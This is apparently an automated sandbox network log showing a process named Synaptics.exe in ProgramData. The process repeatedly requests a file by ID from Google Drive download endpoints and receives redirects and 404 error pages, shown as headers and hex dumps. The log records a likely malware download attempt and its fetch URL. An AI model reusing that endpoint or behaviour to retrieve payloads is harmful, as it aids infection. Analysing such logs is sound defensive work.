2024-08-05 10:00:51 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 41 53 4e 76 6d 6c 66 39 7a 6e 65 47 46 56 63 4f 4f 4f 47 68 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="SASNvmlf9zneGFVcOOOGhw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:51 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49841	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:51 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-LyILe3bHaCk0hNfMHG1nGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49840	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:51 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:51 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:51 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-lCnda4ZvrZX5_Rb_dUrO6A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNpKUDmWWMSUyXrf7rXwKmzBeet-wuf3prAXiuRgtAFSpgOKXIaTP5GL_WFQETs05VxAjVf4XxCig Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:51 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:51 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 6a 44 49 44 37 42 62 75 72 79 44 6a 77 71 66 55 37 38 55 6e 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="TjDID7BburyDjwqfU78Ung">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:51 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49844	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:52 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49847	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:52 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49845	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:52 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49846	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:52 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49848	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:53 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-8jmaWeIZNQSf1baIiaRcuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49849	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:53 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-AfhzVgBb_fIwLPv7074AcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49851	142.250.185.65	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:54 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:55 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:54 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-aKKW0bdxjDqfILZ9wVb2Pw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPUYPraM5Jv3fNOL7quKY7SVgvBWpuHEyZ7_XulJc83Sqf43436vQ1052ELdDI8SYzq0wM Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:55 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:00:55 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 77 52 67 31 70 58 6d 4a 61 71 59 5f 46 45 4b 53 66 50 71 30 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="EwRg1pXmJaqY_FEKSfPq0g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:55 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49853	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:54 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:55 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:55 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4ZcMH9HEj_9hTOiygFdCxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPZAkGh_GF1vOUHGXwuAUKIWpndffvXD9x2DR6I6gq5tQpDg5uYNwWZC3g58WOiRn5r0IP0Ft0o2Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:55 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:55 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 6f 44 52 51 4e 64 51 33 65 77 61 67 33 50 63 34 6a 37 53 49 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="doDRQNdQ3ewag3Pc4j7SIA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:55 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49854	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:54 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-5LtwaeNBvy7uYzNMpUoniw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, 